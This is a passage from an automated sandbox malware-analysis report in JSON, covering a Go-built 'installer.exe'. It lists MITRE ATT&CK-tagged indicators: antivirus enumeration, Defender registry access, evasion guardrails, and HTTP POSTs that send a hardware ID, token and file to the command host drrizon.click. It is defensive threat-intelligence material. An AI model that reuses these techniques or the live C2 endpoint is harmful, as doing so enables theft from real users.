00000000-00006960.00000000.167303.C9930000.00000004.mdmp, Indicator: \"select * from antivirusproduct0\")\n \"SELECT * FROM AntiVirusProduct\" (Source: 00000000-00006960.00000000.167303.C9930000.00000004.mdmp, Indicator: \"select * from antivirusproduct\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Contains ability to close a handle to a service (API string)","description":"Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00006960.00000000.167303.A2B53000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-242","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"file/memory contains long string with (Indicator: \"CreateProcess\"; File: \"installer.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Contains ability to create a new user account (API string)","description":"file/memory contains long string with (Indicator: \"NetUserAdd\"; File: \"installer.exe\")","origin":"File/Memory","mitre_attack_id":"T1136.001","relevance":1,"id":"string-214","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"file/memory contains long string with (Indicator: \"CreateDirectory\"; File: \"installer.exe\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Contains ability to create/control drivers (API string)","description":"file/memory contains long string with (Indicator: \"DeviceIoControl\"; File: \"installer.exe\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-220","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"file/memory contains long string with (Indicator: \"CreateFile\"; File: \"installer.exe\")\n file/memory contains long string with (Indicator: \"NtOpenFile\"; File: \"installer.exe\")\n file/memory contains long string with (Indicator: \"NtCreateFile\"; File: \"installer.exe\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00006960.00000000.167303.A2B53000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"file/memory contains long string with (Indicator: \"RegCloseKey\"; File: \"installer.exe\")\n Found reference to API \"syscall.RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00006960.00000000.167303.968A2000.00000002.mdmp\")\n Found reference to API \"syscall.procRegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00006960.00000000.167303.968A2000.00000002.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00006960.00000000.167303.A2B53000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; Source: \"00000000-00006960.00000000.167303.A2B53000.00000002.mdmp\")\n Found reference to API \"LockResource\" (Indicator: \"LockResource\"; Source: \"00000000-00006960.00000000.167303.A2B53000.00000002.mdmp\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"00000000-00006960.00000000.167303.A2B53000.00000002.mdmp\")\n Found reference to API \"FindResourceW\" (Indicator: \"FindResource\"; Source: \"00000000-00006960.00000000.167303.A2B53000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Contains ability to impersonate another user on the local machine (API string)","description":"file/memory contains long string with (Indicator: \"LogonUser\"; File: \"installer.exe\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-225","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"file/memory contains long string with (Indicator: \"MoveFile\"; File: \"installer.exe\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"installer.exe\")\n file/memory contains long string with (Indicator: \"CommandLineToArgv\"; File: \"installer.exe\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00006960.00000000.167303.4C4DA000.00000004.mdmp, 00000000-00006960.00000000.167303.A2B53000.00000002.mdmp\")\n Found reference to API \"syscall.GetCommandLine\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00006960.00000000.167303.968A2000.00000002.mdmp\")\n Found reference to API \"syscall.procGetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00006960.00000000.167303.968A2000.00000002.mdmp\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00006960.00000000.167303.A2B53000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"GetThreadContext\" (Indicator: \"GetThreadContext\"; File: \"installer.exe\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"installer.exe\")\n Found reference to API \"SuspendThread\" (Indicator: \"SuspendThread\"; File: \"installer.exe\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"installer.exe\")\n Found reference to API \"SetThreadContext\" (Indicator: \"SetThreadContext\"; File: \"installer.exe\")\n file/memory contains long string with (Indicator: \"OpenThread\"; File: \"installer.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"file/memory contains long string with (Indicator: \"GetLastError\"; File: \"installer.exe\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00006960.00000000.167303.A2B53000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00006960.00000000.167303.A2B53000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$30","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"Process installer.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6960:304:WilStaging_02\"\n Process installer.exe created mutex with name \"Local\\SM0:6960:304:WilStaging_02\"\n Process installer.exe created mutex with name \"SM0:6960:304:WilStaging_02\"\n Process installer.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\SM0:6960:304:WilStaging_02\"","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"installer.exe\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Found User Agent related strings","description":"Found string \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36\" (Indicator: \"mozilla/5.0 (\"; Source: \"00000000-00006960.00000000.167303.C9930000.00000004.mdmp\")\n Found string \"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36\" (Indicator: \"mozilla/5.0 (\"; Source: \"00000000-00006960.00000000.167303.C9930000.00000004.mdmp\")\n Found string \"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36\" (Indicator: \"user-agent: \"; Source: \"00000000-00006960.00000000.167303.C9930000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"\"Software\\Microsoft\\Windows Defender\\Features\" in Source: 00000000-00006960.00000000.167303.A2B53000.00000002.mdmp\n \"Software\\Microsoft\\Windows Defender\\MpEngine\" in Source: 00000000-00006960.00000000.167303.A2B53000.00000002.mdmp\n \"Software\\Microsoft\\Microsoft Antimalware\\MpEngine\" in Source: 00000000-00006960.00000000.167303.A2B53000.00000002.mdmp\n \"ry\\Machine\\Software\\Classes\\WOW6432Node\\CLSID\\{00000339-0000-0000-C000-000000000v\" in Source: 00000000-00006960.00000000.167303.C9930000.00000004.mdmp","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Found well known domains (string)","description":"\"github.com\" (Indicator: \"github.com\")\n \"Host: github.com\" (Indicator: \"github.com\")","origin":"File/Memory","relevance":1,"id":"string-135","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$31","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"installer.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at A2BA0000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"installer.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at B08E0000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"installer.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at B1460000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a000000000020427ab0f87f0000@ntdll.dll\"\n \"220023000000000040427ab0f87f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"installer.exe\" was detected as \"Go\" and name: \"Compiler\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"\"installer.exe\" touched \"WBEM Locator\" (Path: \"HKCU\\CLSID\\{4590F811-1D3A-11D0-891F-00AA004B2E24}\")\n \"installer.exe\" touched \"Windows Management and Instrumentation\" (Path: \"HKCU\\CLSID\\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\\TREATAS\")\n \"installer.exe\" touched \"PSFactoryBuffer\" (Path: \"HKCU\\CLSID\\{7C857801-7381-11CF-884D-00AA004B2E24}\\TREATAS\")\n \"installer.exe\" touched \"Microsoft WBEM (non)Standard Marshaling for IWbemServices\" (Path: \"HKCU\\CLSID\\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\\TREATAS\")\n \"installer.exe\" touched \"Windows Defender IOfficeAntiVirus implementation\" (Path: \"HKLM\\SOFTWARE\\CLASSES\\CLSID\\{2781761E-28E0-4109-99FE-B9D127C57AFE}\\INPROCSERVER32\")\n \"installer.exe\" touched \"Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject\" (Path: \"HKCU\\CLSID\\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\\TREATAS\")","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"installer.exe\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"installer.exe\" has an writable section named \".data\"\n \"installer.exe\" has an writable section named \".idata\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"\"installer.exe\" file has an entrypoint instructions - \"jmp\t0x1400851a0,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,push\trbp,mov\trbp, rsp,pushfq\t,cld\t,sub\trsp, 0xe0,mov\tqword ptr [rsp], rdi,mov\tqword ptr [rsp + 8], rsi,mov\tqword ptr [rsp + 0x10], rbp,mov\tqword ptr [rsp + 0x18], rbx,mov\tqword ptr [rsp + 0x20], r12,mov\tqword ptr [rsp + 0x28], r13,mov\tqword ptr [rsp + 0x30], r14,mov\tqword ptr [rsp + 0x38], r15,movups\txmmword ptr [rsp + 0x40], xmm6,movups\txmmword ptr [rsp + 0x50], xmm7,movups\txmmword ptr [rsp + 0x60], xmm8,\"","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0x31f000\" greater than 0x100000\n Raw size of \".rdata\" is \"0xa33e00\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0x31ef71\" greater than 0x100000\n Virtual size of \".rdata\" is \"0xa33c90\" greater than 0x100000\n Virtual size of \".data\" is \"0x20618a0\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"PE file has a high image base","description":"\"installer.exe\" has high imagebase \"0x140000000\"","origin":"Static Parser","relevance":1,"id":"static-93","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"drrizon.click\"\n \"github.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"installer.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"installer.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"installer.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN\")\n \"installer.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"Observed system executable string:\"%WINDIR%\\system32\\version.dll\" [Source: 00000000-00006960-00000C2B-1609054106]","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Installation/Persistence","name":"Able to establish persistence using Exchange transport agent (.NET)","description":"Found string \"shdocvw = s 'IAttachmentExecute'\" (Source: \"00000000-00006960.00000000.167303.A2B69000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1505.002","relevance":1,"id":"string-938","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"installer.exe\")\n file/memory contains long string with (Indicator: \"LoadLibrary\"; File: \"installer.exe\")\n Found reference to API \"----------------LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00006960.00000000.167303.4C580000.00000004.mdmp\")\n Found reference to API \"syscall.LoadLibrary\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00006960.00000000.167303.968A2000.00000002.mdmp\")\n Found reference to API \"syscall._LoadLibrary\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00006960.00000000.167303.968A2000.00000002.mdmp\")\n Found reference to API \"syscall.procLoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00006960.00000000.167303.968A2000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00006960.00000000.167303.A2B53000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$32","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"installer.exe\" queries basic process information of the \"C:\\installer.exe\" (UID: 6960)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$33","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Queries process mitigation policy via NtQueryInformationProcess\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"installer.exe\" trying to touch file \"C:\\WINDOWS\\SYSTEM32\\apphelp.dll\"\n \"installer.exe\" trying to touch file \"C:\\Windows\\System32\\apphelp.dll\"\n \"installer.exe\" trying to touch file \"C:\\installer.exe\"\n \"installer.exe\" trying to touch file \"C:\\Windows\\System32\\ntdll.dll\"\n \"installer.exe\" trying to touch file \"C:\\Windows\\System32\\kernel32.dll\"\n \"installer.exe\" trying to touch file \"C:\\Windows\\System32\\KernelBase.dll\"\n \"installer.exe\" trying to touch file \"C:\\Windows\\apppatch\\sysmain.sdb\"\n \"installer.exe\" trying to touch file \"C:\\Windows\\apppatch\\MergeSdbFilesSource\\sysMerge.sdb\"\n \"installer.exe\" trying to touch file \"C:\\windows\\temp\\VxSSL64.dll\"\n \"installer.exe\" trying to touch file \"C:\\FLTLIB.DLL\"\n \"installer.exe\" trying to touch file \"C:\\WINDOWS\\SYSTEM32\\FLTLIB.DLL\"\n \"installer.exe\" trying to touch file \"C:\\Windows\\System32\\fltLib.dll\"\n \"installer.exe\" trying to touch file \"C:\\MSVCP140.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"\"installer.exe\" trying to access non-existent file \"C:\\FLTLIB.DLL\"\n \"installer.exe\" trying to access non-existent file \"C:\\MSVCP140.dll\"\n \"installer.exe\" trying to access non-existent file \"C:\\VCRUNTIME140.dll\"\n \"installer.exe\" trying to access non-existent file \"C:\\VCRUNTIME140_1.dll\"\n \"installer.exe\" trying to access non-existent file \"C:\\WINDOWS\\system32\\wbem\\wbemcomn.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"\"installer.exe\" trying to access non-existent file \"\\Device\\RasAcd\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Network Related","name":"Able to determine NetBIOS or DNS name associated with the local computer","description":"file/memory contains long string with (Indicator: \"getcomputernameexw\"; File: \"installer.exe\")\n Found reference to API \"GetComputerNameExA\" (Indicator: \"getcomputernameexa\"; Source: \"00000000-00006960-00000C2C-1608590982\")\n Found reference to API \"GetComputerNameExA\" (Indicator: \"getcomputernameexa\"; Source: \"00000000-00006960.00000000.167303.40000000.00000040.mdmp, 00000000-00006960.00000000.167303.4C580000.00000004.mdmp\")\n Found reference to API \"------------------------GetComputerNameExA\" (Indicator: \"getcomputernameexa\"; Source: \"00000000-00006960.00000000.167303.4C580000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-736","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"$34","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to send the specified request to the HTTP server","description":"\"installer.exe\" called \"WinHttpSendRequest\" with parameters {\"hRequest\": \"12fc999fa50\"\n \"lpszHeaders\": \"Content-Type: application/x-www-form-urlencoded\"\n \"dwHeadersLength\": \"4294967295\"\n \"lpOptional\": \"tag=c2a473848f634f5c34856ea3ebd04eb6&exp=1788235659&hwid=c55b6c09d52b1e15af5e9b197c1139d5\"\n \"dwOptionalLength\": \"89\"\n \"dwTotalLength\": \"89\"\n \"dwContext\": \"0\"}\n \"installer.exe\" called \"WinHttpSendRequest\" with parameters {\"hRequest\": \"12fc99c82b0\"\n \"lpszHeaders\": \"Content-Type: multipart/form-data; boundary=eV648Bu5ssyg2y42BF\"\n \"dwHeadersLength\": \"4294967295\"\n \"lpOptional\": \"--eV648Bu5ssyg2y42BFContent-Disposition: form-data; name=\\\"access_token\\\"--eV648Bu5ssyg2y42BFContent-Disposition: form-data; name=\\\"type\\\"0--eV648Bu5ssyg2y42BFContent-Disposition: form-data; name=\\\"file\\\"; filename=\\\"data\\\"Content-Type: application\"\n \"dwOptionalLength\": \"1015\"\n \"dwTotalLength\": \"1015\"\n \"dwContext\": \"0\"}","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-190","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to to receive the response to a HTTP requests","description":"\"installer.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"12fc999fa50\"\n \"lpReserved\": \"0\"}\n \"installer.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"12fc99c82b0\"\n \"lpReserved\": \"0\"}","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-191","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"Found http requests in header \"POST /documents\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"$35","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$36","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"file/memory contains long string with (Indicator: \"CreatePipe\"; File: \"installer.exe\")\n file/memory contains long string with (Indicator: \"CreateNamedPipe\"; File: \"installer.exe\")","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Network Related","name":"Contains ability to open a port and listen for incoming connection (API string)","description":"file/memory contains long string with (Indicator: \"setsockopt\"; File: \"installer.exe\")\n Found reference to API \"syscall.procsetsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00006960.00000000.167303.968A2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1571","relevance":1,"id":"string-419","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve information about user accounts on a server (API string)","description":"file/memory contains long string with (Indicator: \"NetUserGetInfo\"; File: \"installer.exe\")\n file/memory contains long string with (Indicator: \"NetUserGetLocalGroups\"; File: \"installer.exe\")","origin":"File/Memory","mitre_attack_id":"T1087.001","relevance":1,"id":"string-112","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload file/data","description":"$37","origin":"File/Memory","mitre_attack_id":"T1041","relevance":1,"id":"string-511","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"file/memory contains long string with (Indicator: \"wsastartup\"; File: \"installer.exe\")\n file/memory contains long string with (Indicator: \"wsacleanup\"; File: \"installer.exe\")\n file/memory contains long string with (Indicator: \"gethostbyname\"; File: \"installer.exe\")\n file/memory contains long string with (Indicator: \" send \"; File: \"installer.exe\")\n file/memory contains long string with (Indicator: \" recv \"; File: \"installer.exe\")\n file/memory contains long string with (Indicator: \" socket \"; File: \"installer.exe\")\n Found reference to API \"syscall.WSAStartup\" (Indicator: \"wsastartup\"; Source: \"00000000-00006960.00000000.167303.968A2000.00000002.mdmp\")\n Found reference to API \"syscall.procWSAStartup\" (Indicator: \"wsastartup\"; Source: \"00000000-00006960.00000000.167303.968A2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"192.168.0.2\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"Found URL \"http://drrizon.click:6271/documents!this\" - Source: \"00000000-00006960.00000000.167303.40000000.00000040.mdmp\")\n Found URL \"http://www.validationtest.contoso.com/test%ld.htmlmpoav_forcedeepscan\" - Source: 